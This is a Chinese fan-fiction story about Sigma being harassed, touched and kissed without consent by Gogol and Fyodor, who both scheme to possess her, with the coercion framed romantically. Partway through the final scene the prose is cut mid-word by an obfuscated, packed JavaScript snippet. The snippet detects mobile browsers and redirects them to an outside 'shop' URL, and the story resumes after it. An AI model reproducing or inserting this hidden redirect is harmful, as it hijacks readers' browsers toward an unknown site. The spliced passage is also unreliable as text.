她低声念着音节,唇瓣轻轻翕动,试图让拗口的发音变得更流畅些。 空气里骤然泛起一阵极淡的扭曲波动,西格玛的笔尖顿住,握着笔的手指几不可察地蜷缩了一下。 下一秒,黑白的斗篷就掠过书桌,果戈里带着惯有的夸张笑意,凭空出现在她身侧。 不等西格玛反应,他已经伸手抽走了桌上的练习本,指尖捏着本子的一角晃了晃,银霜色的眼眸里闪烁着戏谑的光。 他弯下腰,凑近西格玛,温热的气息拂过她的耳畔,声音压得极低,带着刻意的轻佻:“小家伙,不如我教你些更有趣的俄语?比如……‘自由’怎么说?” 西格玛垂着眼睫,没有抬头,也没有伸手去抢。 连日的骚扰让她摸清了果戈里的脾性。 他追逐的是猎物惊慌失措的模样,是打破平静的乐趣,一旦猎物没了反应,这份趣味便会荡然无存。 她只是静静地坐着,长长的睫毛遮住眼底翻涌的情绪,连呼吸都维持着平稳的节奏。 西格玛的沉默像一块投入湖中的石子,没能溅起果戈里期待的水花。 果戈里晃着练习本的动作渐渐慢了下来,他盯着西格玛毫无波澜的侧脸,眼底的戏谑一点点褪去,取而代之的是显而易见的无趣。 他啧了一声,指尖漫不经心地敲了敲练习本上的字母,语气里带着几分悻悻:“真是没劲。” 他抬手,将练习本随手扔回书桌,纸张划过桌面,发出哗啦的轻响。 果戈里直起身,目光落在西格玛紧绷却纹丝不动的背影上,银霜色的眼眸里掠过一丝复杂的光,他忽然轻笑一声,意有所指地低语:“真是不自由啊。” 话音落下的瞬间,空间扭曲的波动再次泛起,果戈里的身影化作一道模糊的光影,悄无声息地消失在了房间里。 直到那阵波动彻底消散,西格玛才缓缓抬起头,目光落在被扔回桌面的练习本上。 她伸出手,轻轻抚平被揉皱的纸页,指尖触碰到冰凉的纸面,眼底掠过一丝转瞬即逝的涩意。 除了这些白日里的突袭,果戈里的身影,还会出现在任何西格玛稍作放松的时刻。 他可能在她正埋首翻阅情报的书桌旁骤然现身,斗篷的边角擦过书页带起一阵风。 可能在她端着水杯路过走廊时,从某个拐角的阴影里笑着跳出来,惊得她指尖的水晃出半杯。 甚至能在她刚要坐下喝口热茶的餐桌边,凭空冒出来,抢过她手里的茶盏嗅上一口。 每一次的突然出现,都带着小丑特有的夸张笑意,银铃般的笑声搅乱一室安宁,也搅得西格玛的心绪七零八落。 就像此刻。 窗外的夜色正浓,安全屋的房间里只亮着一盏暖黄的床头灯,光线昏沉,勉强勾勒出家具的轮廓。 西格玛卸下一身疲惫,刚掀开被子躺下,身后便传来一阵极轻的衣料摩擦声,带着斗篷布料特有的厚重质感。 她甚至不用回头,就知道是谁来了,脊背就已经绷紧,指尖下意识地攥紧了床单。 果戈里不知何时悄无声息地立在了床边,一头蓬松的白发在灯光下泛着柔软的光泽,右脸的扑克牌面具衬得左眼的银色愈发透亮,那道浅浅的十字疤痕也跟着染上几分戏谑。 他歪着头,居高临下地打量着西格玛,唇角勾着夸张的弧度,像个找到新乐子的孩子,眼底闪烁着毫不掩饰的好奇与狂热。 “晚上好呀,我亲爱的新同伴。” 他的声音压得很低,带着刻意的轻佻,尾音里藏着止不住的笑意,“你看,我又找到你了。” 西格玛的指尖微微发颤,她缓缓转过身,眼底没有半分惊讶,只有习以为常的平静,那平静之下,是层层叠叠的畏惧与戒备。 她早已习惯了果戈里这般跳脱的行事风格,从最初的慌乱失措,到后来的强作镇定,再到如今的麻木无奈,不过是短短几日的功夫。 “果戈里先生,现在是休息时间。”她的声音很轻,带着一丝不易察觉的倦意,还有一丝难以掩饰的紧绷,“你应该去做自己的事。” “我的事?”果戈里像是听到了什么有趣的笑话,倏地笑出了声,“逗弄你,就是我现在最有趣的事呀!” 他说着,便弯下腰,凑近西格玛,银色的眼眸里闪烁着孩童般的好奇与狂热:“你总是这么平静,不管我怎么吓你,怎么逗你,你都不会生气,也不会逃跑——这实在是太有趣了!” 西格玛看着他近在咫尺的脸,看着他眼底毫不掩饰的兴致,沉默了片刻。 她知道,果戈里的缠人,并非带着多么深重的恶意,只是源于他骨子里对趣味的追逐,对平淡的抗拒。 他就像一阵风,随心所欲,无拘无束,而自己,不过是他偶然间发现的、一枚与其他石子不同的、能溅起别样水花的小石子。 或者说,就算他带着恶意又能怎样? 她不过是个手无寸铁的凡人,连反抗的资格都没有。 他的空间异能如同悬在头顶的利刃,三十米的范围,足以将她困在这方寸之地,插翅难飞。 自己不过是凡人而已。 西格玛没有再说话,只是轻轻拉了拉被子,将自己裹得更紧了些。 果戈里见她这般模样,笑得更欢了。 他直起身,又围着床边转了两圈,斗篷的下摆扫过地面,带起一阵细微的风声。 直到他觉得这般单方面的逗弄实在没什么新意,眼底的兴致淡了几分,才化作一道扭曲的光影,悄无声息地消失在房间里。 直到那阵空间扭曲的波动彻底消散,周遭重归死寂,西格玛才缓缓从被子里探出头来。 她绷紧的肩颈依旧没有完全放松,侧耳凝神听了半晌,确认屋里只剩自己浅浅的呼吸声,还有窗外偶尔掠过的风声,这才深深地呼出了一口气,那口气里,满是压抑的疲惫。 她怔怔地望着昏暗的天花板,暖黄的灯光在上面投下一片模糊的光晕,眼底掠过一丝茫然。 被惊扰的睡意早已荡然无存,方才果戈里夸张的笑声、戏谑的眼神,还有那身黑白斗篷划过空气的声响,都在脑海里反复回荡。 这样被惊扰、被窥视、被当作玩物的日子,不知道还要持续到什么时候。 西格玛缓缓垂眸,长长的睫毛在眼睑下投出一小片阴影。 或许从自己点头答应费奥多尔,踏入这座名为“天人五衰”的牢笼那天起,这一切就注定不会结束。 她不过是一枚被人攥在手里的棋子,连挣扎的余地都没有。 窗外的夜色愈发浓重,安全屋的墙壁隔绝了所有声响,却隔不断心底翻涌的无力。 西格玛轻轻呼出一口气,将双眼闭紧,长长的睫毛微微颤抖着。 明天还有堆积如山的情报要整理,还有费奥多尔交代的任务要完成,她没有时间沉溺在这些情绪里。 现在,她得休息了。 至少,在这短暂的、无人惊扰的黑夜里,她还能拥有片刻属于自己的安宁。 —————— 暖黄的灯光淌过书桌,将摊开的情报文件染上一层柔和的光晕。 西格玛垂着眸,半白半紫的发丝滑落肩头,遮住了她微蹙的眉头。 她的声音平稳无波,条理清晰地汇报着刚整理完的情报,指尖无意识地摩挲着文件边缘,骨节因用力而微微泛白。 费奥多尔坐在对面的椅子上,指尖轻轻敲击着桌面,发出规律的轻响。 他低垂着眼,紫罗兰色的眼眸掩在纤长的睫毛下,看不清情绪,唯有苍白的唇角勾着一抹浅淡的笑意,像是在认真聆听。 直到西格玛的话音落下,房间里短暂陷入寂静,他才缓缓抬眼,语气温和得像是在闲话家常:“说起来,最近果戈里似乎总在缠着你。” 西格玛的指尖猛地一顿,心底泛起一阵细微的寒意。 她没有抬头,依旧维持着低头的姿势,长长的睫毛簌簌颤抖,掩盖住眼底一闪而过的抗拒与疲惫。 “你们同伴之间,能相处得这么融洽,我很欣慰。” 费奥多尔的声音依旧轻柔,像是带着暖意,可落在西格玛耳中,却比沙漠的夜风还要寒凉。 他的目光落在西格玛微微绷紧的背脊上,落在她垂落的发丝间露出的白皙脖颈上,那双紫罗兰色的眼眸里,掠过一丝极淡的、近乎偏执的占有欲。 快得如同错觉,转瞬即逝,待西格玛下意识抬眼时,映入眼帘的依旧是他那副温和淡然的模样。 西格玛抿了抿唇,没有回答。 融洽吗?她不知道该如何定义这段相处。 果戈里的纠缠像一场永无止境的恶作剧,他的突然出现、夸张的笑声、戏谑的打量,每一次都让她绷紧神经,满心戒备。 那不是同伴间的亲近,而是一种被猎物盯上的、无处可逃的折磨。 而此刻,与费奥多尔的相处,又何尝不是另一种折磨? 她从不敢信任眼前这个男人。 他的温柔是淬了毒的蜜糖,他的笑意是精心编织的罗网。 她能清晰地察觉到,他看向自己的目光里,藏着和果戈里一样的、浓烈的兴趣。 作为捕食者的猎物,西格玛清晰地感受到了。 只是这份兴趣,被他用温和的表象包裹着,比果戈里的直白更加可怕。 三人之间的追逐游戏已经变了味,但三人中没有一个人察觉到。 果戈里只是觉得有趣罢了。 费奥多尔或许有,但他只把这一切当做游戏。 和其他二人的兴趣斐然不同,西格玛只感到恐惧。 她垂下眼睫,将所有的情绪都敛入眼底,重新拾起一份情报,声音依旧平稳:“费奥多尔先生,关于下一份情报的整理……” 西格玛刻意错开了话题,不愿也不敢触碰那片名为“同伴相处”的雷区。 在这座名为天人五衰的牢笼里,她只是一枚任人摆布的棋子,连表达抗拒的资格,都没有。 西格玛指尖划过情报纸页的纹路,微垂着眼眸,注视着由自己整理出的信息。 她的声音平稳清晰,不带一丝波澜。 窗外的雪不知何时又落了起来,细碎的雪沫黏在玻璃上,转瞬便消融无踪,一如她那些转瞬即逝的、想要逃离的念头。 费奥多尔的目光落在西格玛低垂的眼睫,那温和的笑意里似乎漾开了一丝极淡的波澜,快得让人以为是错觉。 他没有追问,只是轻轻颔首,声音依旧是那副蛊惑人心的温柔:“好,辛苦你了,西格玛。” 这句平淡的回应,却让西格玛脊骨发凉。 她清楚,自己刻意避开的话题,不过是在牢笼里多绕了一圈,终究逃不出既定的轨迹。 果戈里的戏谑是明晃晃的刀,费奥多尔的温柔是看不见的绳。 而她,既躲不开刀的锋芒,也挣不脱绳的缠绕。 这场名为同伴的追逐游戏,从一开始就没有公平可言。 捕食者乐在其中,猎物却在恐惧中被迫起舞。 西格玛垂下的眼睫间,有极淡的水光一闪而过,随即被更深的死寂覆盖。 这座牢笼的门从未真正打开,所谓逃离,不过是捕食者为了让游戏更有趣,施舍给猎物的短暂幻觉。 被人利用的宿命,似乎永远都无法挣脱。 西格玛的指尖轻轻捻开下一页情报,语调分毫不差地接续下去,像是方才那片刻的心绪翻涌从未存在过。 “北方港口的货物周转记录已核对完毕,与港口负责人的通讯密语也按您的要求做了加密处理,明日前可以送达果戈里先生手中。” 每一个字都清晰规整,落进空气里,和窗外簌簌的风声融在一起,听不出半分破绽。 2. 追逐 日子一天天过去,果戈里对西格玛的逗弄愈发变本加厉。 那些突如其来的现身,已经满足不了果戈里对趣味的追逐。 他开始搜罗各式各样的小道具,变着法子炮制出一场场令人措手不及的惊吓。 这天,西格玛正抱着一叠整理好的情报,低头走在安全屋的走廊里,脑子里还在复盘着要向费奥多尔汇报的内容。 冷不丁地,一枚烟花弹在她脚边炸开,嘭的一声闷响后,漫天彩纸簌簌落下。 西格玛被这猝不及防的声响惊得心脏骤停,脚下一软,狼狈地跌坐在地。 膝盖撞上冰冷的地面,一阵钝痛顺着骨骼蔓延开来,连带着指尖都微微发颤。 彩纸落了她满身,白紫相间的发丝上沾了好几片亮闪闪的碎片,衬得她苍白的脸愈发茫然。 她抬起头,一眼就看见果戈里站在不远处,歪着头,笑得像个恶作剧得逞的孩子,银霜色眼眸里满是毫不掩饰的兴味。 瞬间,惊惶褪去,西格玛敛去了脸上所有的表情,只剩下一片死水般的平静。 她知道,这又是果戈里的把戏。可刚刚那一瞬间的失态,早已被对方尽收眼底。 果戈里缓步走近,居高临下地打量着跪坐在地的西格玛。 她满身彩纸,发丝凌乱,平日里那份循规蹈矩的沉稳被搅得粉碎,这副模样让他眼底的笑意更浓了几分。 他张口想说些什么,却见西格玛根本没理会他,自顾自地抬手拍打着身上的彩屑。 几片调皮的彩纸顺着衬衫领口的缝隙滑了进去,落在文胸边缘。 西格玛皱了皱眉,没有丝毫犹豫,也全然没去在意旁边还站着虎视眈眈的果戈里。 汇报任务的时间快到了,她没空在这里耽搁,更没心思去顾及什么世俗的男女之防。 她微微松开两颗衬衫扣子,纤细的手指顺着缝隙探进去,精准地捏住那几片彩纸,轻轻扯了出来。 她的动作自然又坦荡,仿佛只是在做一件再寻常不过的小事。 果戈里的眼睛却微微放大,脸上的笑容倏地僵住了。 自由。 这是他脑海里蹦出的第一个词。 真是自由的行为啊! 他一直以为,西格玛是个被规矩束缚得死死的人。 像个精致却没有灵魂的提线木偶,永远守着分寸,永远循规蹈矩,连呼吸都透着小心翼翼的顺从。 是被“天人五衰”、被费奥多尔、被“归属”二字牢牢锁住的囚鸟。 可此刻,她在一个异性面前做出这样的举动,全然不顾所谓的“男女之别”,这份全然不在意旁人目光的坦荡,在他眼里,竟成了最放肆的自由。 他可是男性啊。换做任何一个深谙世俗规则的寻常女子,都绝不会如此坦荡随意。 可西格玛偏偏就这么做了,甚至在指尖勾出彩纸时,无意间露出了一抹细腻肌肤,那半遮半露间,竟比全然袒露更勾人。 这份无视一切束缚的坦然,在果戈里眼里,成了最放肆、最诱人的自由。 他的脑海中,不由自主地闪过那日浴室初见的画面。 水汽氤氲里,她撞见突然闯入的自己,惊惶过后便是全然的平静,没有半分羞赧扭捏,只是坦然地拾起衣物穿上。 那时他只觉得新奇有趣,如今想来,那份坦然,何尝不是一种对世俗规训的全然漠视? 真是自由啊。 他怎么现在才发现呢? 果戈里看着她拍净身上的彩纸,抱着情报站起身,脚步匆匆地往费奥多尔的书房走去,全程没看他一眼。 这一次,他罕见地没有追上去,没有喋喋不休地调侃,也没有再变着法子逗弄她。 他只是站在原地,指尖无意识地摩挲着下巴,银色眼眸里翻涌着复杂的光,像是在思索着什么有趣的新玩法。 走廊里的脚步声渐渐远去,只剩下果戈里一人站在散落的彩纸中,唇角缓缓勾起一抹意味深长的笑。 那笑容里,褪去了往日的顽劣,多了几分势在必得的兴味。 原来,这只看似温顺的囚鸟,也藏着这样不为人知的、自由的棱角。 这可比单纯的惊吓,有趣多了。 书房里,暖黄的灯光流淌在摊开的文件上。 西格玛垂着眸子,声音平稳地汇报着任务,刻意避开了费奥多尔的视线。 方才那场闹剧让她心烦意乱,只想快点结束这场汇报,回到自己的房间,寻得一处无人打扰的清净之地。 她太专注了,专注到没有察觉,费奥多尔不知何时已经从书桌后站起身,缓步走到了她的身前。 直到一片带着细微褶皱的彩纸,被一双苍白修长的手指从她的发间取下,西格玛才猛地回过神,下意识地往后退了半步。 “果戈里的小惊喜,看来烦扰到你了。” 费奥多尔的声音依旧温和,听不出半分情绪。 他的目光落在西格玛微微敞开的衬衫领口上,那道缝隙里,隐约能窥见黑色的文胸边缘,和那片莹润的肌肤。 西格玛的心跳漏了一拍,下意识地想拉紧领口,却又僵硬地停住了动作。 “我会让他别这么做的。” 费奥多尔轻轻捻着指尖的彩纸,语气平淡,仿佛只是在说一件无关紧要的小事。 西格玛怔怔地看着他,半晌才迟钝地点了点头,嘴里含糊地应着,连自己在说什么都不知道。 她不信他的话。 在这座名为天人五衰的牢笼里,所有的“约束”,不过是换一种方式的纵容。 费奥多尔的话,她从来没有信过,从前不信,以后也不会。 不过,从那天起,果戈里确实再也没有用烟花弹之类的道具吓过她。 可西格玛却觉得,日子变得更加难熬了。 果戈里的逗弄,从明目张胆的惊吓,变成了让她心惊胆战的肢体接触。 当西格玛伏案写着文件,她全心投入在工作里,房间内只有钢笔划过纸张的沙沙声,突然有一只手抚上她的脸颊,皮革手套冰凉的触感惊得她笔锋一颤,墨汁晕开一片。 西格玛转过头,果戈里正凑在她耳边,笑得肆意张扬。 当西格玛抱着文件走过走廊,果戈里会突然从阴影里窜出来,伸手半搂住她的腰,将她往自己身边带,鼻尖几乎要蹭到她的发丝。 他还总喜欢伸手去抚摸她的头发,指尖穿过那半白半紫的发丝,动作带着一种近乎缱绻的意味。 西格玛的恐惧,几乎要溢出来了。 她诞生于沙漠,辗转于黑暗,从未经历过这样的触碰。 她不懂果戈里这些动作背后的意味,只知道他的靠近会让她浑身发冷,每一次触碰都像是带着寒意的荆棘,刺得她只想逃离。 她本能地抗拒着,身体紧绷得像一张拉满的弓,眼底的惧意藏都藏不住。 可她的恐惧,在果戈里眼中,却是最诱人的催化剂。 果戈里享受着西格玛的惊慌失措,享受着她的僵硬抗拒,每一次指尖相触时她细微的瑟缩。 每一回视线相撞时她慌乱的闪躲,都让果戈里心底的趣味疯长,像疯草般蔓延过四肢百骸。 你惊慌的模样,可真是可爱啊。 他在心底低低喟叹,像一个贪得无厌的孩子,尝过了偷来的一点甜头,便开始按捺不住地蠢蠢欲动。 果戈里开始想要索取更多,想要看到她更多不同的模样。 窘迫的、羞赧的、甚至是带着哭腔的,任何一种,都足以让他的灵魂为之震颤。 果戈里垂眸,看向自己那双裹着棕色手套的手。 手套的皮革柔软光滑,指尖的弧度利落而优雅,可此刻,这层薄薄的阻隔却成了最碍眼的东西。 他慢条斯理地抬手,指尖勾住手套的边缘,轻轻褪下。 柔软的皮革被他捏在掌心,他低头,指腹细细摩挲着那片触感,仿佛上面还残留着她肌肤的温度,带着一丝浅淡的、令人心痒的暖意。 银色眼眸里骤然翻涌起浓烈的偏执与疯狂。 果戈里的嘴角勾起一抹近乎病态的笑意,弧度越来越大,直至牵扯得脸颊微微发酸。 果戈里做了一个愉快的决定。 之后再与西格玛见面时,他再也不要戴手套了。 他要亲手触碰到她温热的皮肤,要清晰地感受她指尖的颤抖,要让那份鲜活的温度,毫无阻隔地烙印在自己的掌心。 果戈里的指尖无意识地摩挲着光滑的皮革,脑海里已经开始描摹下一次触碰时,她肌肤的柔软与温度,心脏因这绮丽的想象而剧烈跳动。 他将那只残留着虚幻暖意的手套随手揣进口袋,带着十字疤痕的银色眼眸里跃动着兴奋的光。 就这么做好了,果戈里愉快地决定了。 脚步轻快地转身,哼着不成调的曲子消失在走廊尽头,仿佛已经提前尝到了即将到来的、毫无阻隔触碰的滋味。 而这发生的一切,都被书房里那双紫罗兰色的眼眸,不动声色地收入眼底。 百叶窗的缝隙漏进几缕细碎的光,恰好落在费奥多尔摊开的书页上。 他指尖捏着一枚书签,慢条斯理地摩挲着冰凉的纸页边缘,目光落在那些晦涩的文字上。 他在等。 等西格玛忍无可忍的那一天,等她攥着满身的委屈与恐惧,推开这扇书房的门,向他求救。 在这里,她没有别的选择。能庇护她的人只有他,也只能是他。 那些所谓的同伴,不过是披着友善外衣的掠夺者,唯有他,能给她一个看似安稳的“归处”。 当她主动向他伸出手的那一刻,才是真正将自己的软肋,亲手递到他的掌心。 到那时,这只辗转漂泊的囚鸟,才会心甘情愿地,停留在他为她编织的牢笼里。 “快了。” 费奥多尔低低地呢喃了一声,尾音漫着一丝极淡的笑意。 他修长的手指翻过一页书,纸张摩擦的轻响,在寂静的房间里格外清晰。 —————— 西格玛正埋首处理着堆积如山的文件,笔尖划过纸张的沙沙声,是安全屋午后唯一的声响。 半白半紫的发丝垂落肩头,遮住了她低垂的眼睫,也遮住了眼底那份惯有的、疏离的平静。 身后毫无预兆地传来一阵衣料摩擦的轻响,带着空间扭曲的微弱波动——是果戈里。 西格玛的笔尖猛地一顿,脊背瞬间绷紧,心脏漏跳了一拍。 这是本能的恐惧,是连日来被他反复惊扰后,刻入骨髓的警觉。 可她很快强迫自己镇定下来,垂着眼睫,连头都没回,仿佛身后的人只是一缕无关紧要的风。 果戈里的气息越来越近,带着几分刻意的腻歪,下一秒,他的手臂就缠上了她的腰,将她整个人圈进怀里。 胸膛贴着她的后背,温热的呼吸拂过她的耳畔,像羽毛轻轻划过,却让西格玛浑身的汗毛都竖了起来。 她没有挣扎,也没有回应,只是僵着身子,任由他抱着,指尖攥着钢笔,指节泛白。 她太清楚了,挣扎只会换来他更过分的逗弄,沉默是她唯一的自保方式。 可果戈里偏偏就想看她失态。他腻在她耳边,说了些语焉不详的话,见她始终像块冰冷的石头,眼底的兴味反倒更浓了几分。 他想要她在意自己,想要她眼里映出除了平静之外的任何情绪——哪怕是恐惧,是厌恶,也好过这般全然的漠视。 自由。 这个念头在他脑海里一闪而过,随即,他便顺从着自己的心意,做出了大胆的举动。 这一切都是自由啊。 果戈里伸出手,轻轻捏住西格玛的下巴,稍一用力,便将她的头扭了过来。 他微微俯身,凑近她,温热的气息扑面而来。 西格玛的瞳孔骤然收缩,呼吸瞬间停滞,她能清晰地看到,他那带着十字伤痕的银霜色眼眸里翻涌的光,看到他脸上那抹带着疯狂的笑意。 下一秒,柔软的触感覆上了她的唇。 一个突如其来的吻。 西格玛的大脑一片空白,心脏却像是被一只无形的手攥住,疯狂地跳动起来。 那不是悸动,不是羞涩,是纯粹的、深入骨髓的恐惧。 她像一尊被冻住的雕像,连眨眼都忘了,只能眼睁睁地看着果戈里放大的脸。 这个举动太过突兀,太过陌生,陌生到她根本无法理解这意味着什么。 果戈里很快便松开了她,拇指轻轻摩挲着她被吻过的唇角,眼底盛着她看不懂的情愫,像是炽热的火焰,又像是疯狂的执念。 他看着她呆愣的模样,低低地笑了,声音里带着一丝蛊惑:“平静接受一切的你,可真是不自由啊。” 他抬手,指尖拂过她凌乱的发丝,语气轻柔得不像话,却带着不容置疑的笃定:“被囚禁的小鸟,我会解放你。” 话音落下,他捧起她依旧呆愣的脸,俯身,又在她的脸颊上印下一个轻柔的吻,像羽毛般一触即离。 不等西格玛从震惊与恐惧中回过神来,果戈里周身的空气泛起一阵扭曲的涟漪,他的身影便随着斗篷的翻飞,消失在了原地,只留下一室寂静。 西格玛僵在原地,过了许久,才缓缓抬手,指尖颤抖着触碰自己的唇,又碰了碰发烫的脸颊。 她不明白。 她完全不明白果戈里这个举动的含义。 那份深入骨髓的恐惧,混杂着全然的茫然,让她无法再静下心处理文件。 西格玛站起身,脚步有些踉跄,几乎是凭着本能,朝着费奥多尔的书房走去。 她要去问清楚。 费奥多尔正坐在书桌后,翻看着一本厚重的书。 听到敲门声,他抬眼,紫罗兰色的眼眸里掠过一丝极淡的期待。 他以为,是西格玛忍无可忍,终于来向他求救了。 可推开房门的西格玛,脸上没有半分委屈的求救,只有全然的茫然。 她站在门口,垂着眸,声音带着一丝不易察觉的颤抖:“费奥多尔先生,我想问……亲吻,是什么意思?” 费奥多尔翻书的手一顿。 他眼底的期待迅速褪去,取而代之的是一种奇异的、冰冷的不悦。 他几乎是瞬间就猜到了发生什么,除了那个随心所欲的果戈里,没人会对西格玛做出这种举动。 像是自己珍藏的物品,被旁人随意触碰了一般,一股名为“不爽”的情绪,悄然漫过心头。 他没有立刻回答,只是看着西格玛,唇角缓缓勾起一抹浅淡的、带着几分深意的笑:“啊,果戈里亲吻你了吗?” 西格玛愣了愣,下意识地点了点头。 费奥多尔看着她懵懂的模样,心底的不悦又浓了几分,可脸上的笑容却愈发温柔。 他站起身,缓步走到西格玛面前,声音低沉悦耳,像带着蛊惑的魔咒:“亲吻啊,是一种礼貌的礼仪哦。” 话音未落,他微微俯身,苍白的指尖轻轻抬起她的下巴,紫罗兰色的眼眸里翻涌着浓得化不开的占有欲,却被温柔的表象完美掩盖。 他凑近她,在她还没反应过来的瞬间,低头,吻上了她的唇。 这个吻比果戈里的更轻,更缓,却带着不容抗拒的掌控力。 西格玛再一次僵住了,大脑彻底宕机,只能任由他的气息将自己包裹。 直到费奥多尔缓缓退开,她还维持着呆愣的姿势,那双总是平静无波的眼睛里,写满了茫然。 过了许久,她才迟钝地点了点头,像是终于理解了一般,轻声应道:“……原来是这样。” 费奥多尔看着她懵懂的模样,唇角的笑意更深了,眼底却一片冰寒。 他没有多说什么。 有些“礼仪”,不需要解释得太清楚。 只要她记住,第一个教会她这个“礼仪”的人,是他,就够了。 —————— 费奥多尔指尖摩挲着书页的边缘,紫罗兰色的眼眸里翻涌着沉凝的光。 他不打算再等了,等西格玛带着满身疲惫与恐惧,叩开他书房的门求救。 等待太过被动,他要的从来不是猎物主动落网,而是亲手将她纳入自己的掌控。 他太清楚西格玛心底最深的渴望是什么。 是一个家。一个能让她卸下所有防备,不再漂泊的归处。 这座安全屋或许成不了她心中的家,但没关系,他会让他们成为彼此的家人。 家人。 这个词在费奥多尔的舌尖滚过,带着微妙的温度。 它囊括了太多,丈夫与妻子的缱绻羁绊,父母与孩子的血脉牵连,是斩不断的根,是逃不开的网,是能将一个人牢牢拴住的、最温柔的枷锁。 西格玛会慢慢需要他,依赖他,直至再也离不开他。 而他,会彻底拥有她。 第一步,是打破那层横亘在两人之间的、疏离的壁垒。 他要换掉那个生分的称呼。 西格玛总是恭恭敬敬地唤他“费奥多尔先生”,隔着一层看不见的距离,客气得像个无关紧要的下属。 家人之间不需要这么疏离的称呼。 费奥多尔的唇角,勾起一抹极淡的、志在必得的笑意。 费佳就很好。 足够亲昵,足够亲近。只要从她唇齿间吐出,便能在两人之间,划开一道旁人无法插足的界限。 机会很快就来了。 午后的阳光透过百叶窗,在文件上投下斑驳的光影。 西格玛抱着整理好的情报,缓步走进书房,声音平稳无波:“费奥多尔先生,关于……” “西格玛。” 费奥多尔打断了她的话,抬眸看向她,紫罗兰色的眼眸里盛着浅淡的笑意,语气是前所未有的温和,“家人之间,不需要这么礼貌的称呼。” 他刻意加重了“家人”二字。 “叫我费佳就好。” 果然,西格玛的眼睛微微睁大,长长的睫毛簌簌颤抖,像是被这个词烫到一般。 她张了张嘴,似乎想说什么,或许是反驳,或许是茫然,最终却只是抿了抿唇,声音轻得像羽毛拂过:“……费佳。” 那两个字落地的瞬间,费奥多尔眼底的笑意深了几分。 他清晰地看到,西格玛看向他的目光里,那层厚厚的恐惧淡了些许,取而代之的是一种近乎无措的柔和。 很好。 费奥多尔满意地颔首,示意她继续汇报。 猎物的防线,已经裂开了一道细缝。 汇报完工作,西格玛便匆匆回到了自己的办公区。 她刚坐下,摊开费奥多尔交代的文件,身后就传来一阵熟悉的、带着空间扭曲的微弱波动。 不用回头,西格玛的脊背就绷紧了。 果戈里的手臂很快缠上了她的腰,带着几分腻歪的力道,将她圈进怀里。 他不满地看着她低垂的眼睫,看着她眼里只有文件的模样,指尖一扬,就将她面前堆叠的文件尽数扫到一旁。 他就是要搅乱她的专注,就是要看到她慌乱的样子,就是要让她的视线,完完全全落在自己身上。 “果戈里先生,请不要这么做。”西格玛的声音带着一丝不易察觉的无奈,指尖攥紧了笔杆,“这些是费佳交给我的任务……” “费佳?” 果戈里打断她的话,尾音陡然拔高,带着几分难以置信的委屈。 他猛地扳过西格玛的肩,带着十字伤痕的银色眼眸紧紧盯着她,像被抢了糖果的孩子,“你叫他费佳?” 他顿了顿,语气里的委屈几乎要溢出来:“西格玛现在都还叫我果戈里先生呢。” “费佳和果戈里先生是不一样的。”西格玛垂着眼,语气平静地陈述事实。 “哪里不一样?”果戈里的音调冷了下来,眼底的戏谑褪去,染上几分锐利的探究。 西格玛抬眸看他,眼神澄澈,却带着一种近乎执拗的笃定:“费佳是家人,果戈里先生是同伴。” “家人?”果戈里重复着这两个字,突然低低地笑了起来,笑声里带着几分嘲讽,几分了然。 他怎么会猜不到费奥多尔的心思?用“家人”这个温柔的枷锁,将这只漂泊的囚鸟牢牢锁住。 不愧是他的挚友,连他们在意的人,都是同一个。 笑声戛然而止,果戈里收敛了脸上的笑意,指尖轻轻抚上西格玛的脸颊,动作带着一种近乎偏执的温柔,微凉的触感让西格玛的身体微微一颤。 他的目光落在她苍白的唇瓣上,声音低沉而蛊惑:“可怜的囚鸟。” 西格玛被他的反复无常弄得愣住了,怔怔地看着他,没有反抗,只是任由他微凉的指尖划过自己的肌肤,心底的恐惧像潮水般缓缓漫上来。 她不懂果戈里的情绪,更不懂他眼底翻涌的复杂光澜。 果戈里看着她茫然无措的模样,眼底闪过一丝疯狂的占有欲。 费奥多尔想做她的家人?那他就做她的恋人好了。 恋人,是比家人更亲密的羁绊,是能将她从费奥多尔身边抢过来的身份。 “果戈里先生这个称呼,太疏远了。” 他俯身凑近她,温热的呼吸拂过她的耳畔,“西格玛,叫我科里亚吧。恋人之间,就该这样称呼才对。” “恋人?” 西格玛愣住了,那双总是平静的眼眸里写满了困惑。 她不懂这个词的含义,只隐约觉得,这该是和“家人”一样,需要靠得极近、亲密无间的关系。 可她和果戈里之间,明明只有挥之不去的恐惧,和小心翼翼的防备,怎么可能是这种关系? “我们什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193617|197107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么时候是恋人了?” “就在刚刚。”果戈里笑了起来,语气理所当然,下一秒,便猛地将西格玛狠狠抱进怀里,力道大得几乎要将她揉进自己的骨血里,让她连呼吸都变得滞涩。 斗篷的布料蹭着西格玛的脸颊,带着冰冷的质感,与他胸膛传来的温度形成鲜明的对比。 他贴着她的耳朵,声音带着不容抗拒的强势,又藏着一丝蛊惑:“西格玛没有反抗的余地哦,乖乖做我的恋人吧。” 西格玛的身体猛地绷紧,脊背挺得笔直,像一张被拉满的弓。她下意识地挣扎了一下,指尖抵住他的胸膛,却只触到一片坚硬的布料,根本推不开分毫。 可当那句“没有反抗的余地”落进耳中时,所有的动作都骤然停了下来。 是啊。 她不过是个由“书”创造的凡人,没有过往,没有依靠。果戈里想对她做什么,她根本没有能力阻止。 这份清醒的认知,像一盆冷水,浇灭了她心底最后一丝微弱的挣扎。 果戈里感受到怀中人的僵硬渐渐褪去,紧绷的脊背缓缓松弛下来,眼底的笑意愈发浓烈,带着十字伤痕的银色瞳孔里,闪烁着近乎偏执的兴味。 他抬手,冰凉的指尖轻轻捏住她的下巴,微微用力,强迫她抬头看向自己。 他的目光太过灼人,像带着温度的火焰,几乎要将她的肌肤烧穿。 果戈里的语气里带着几分戏谑的期待,像在逗弄一只落入掌心的小鸟:“提问,现在西格玛该说什么呢?” 西格玛沉默了一瞬,长长的睫毛垂下,遮住了眼底翻涌的情绪。 她能清晰地感受到指腹下的力道,能听到他胸腔里平稳的心跳,能嗅到他身上淡淡的、像硝烟一样的气息。 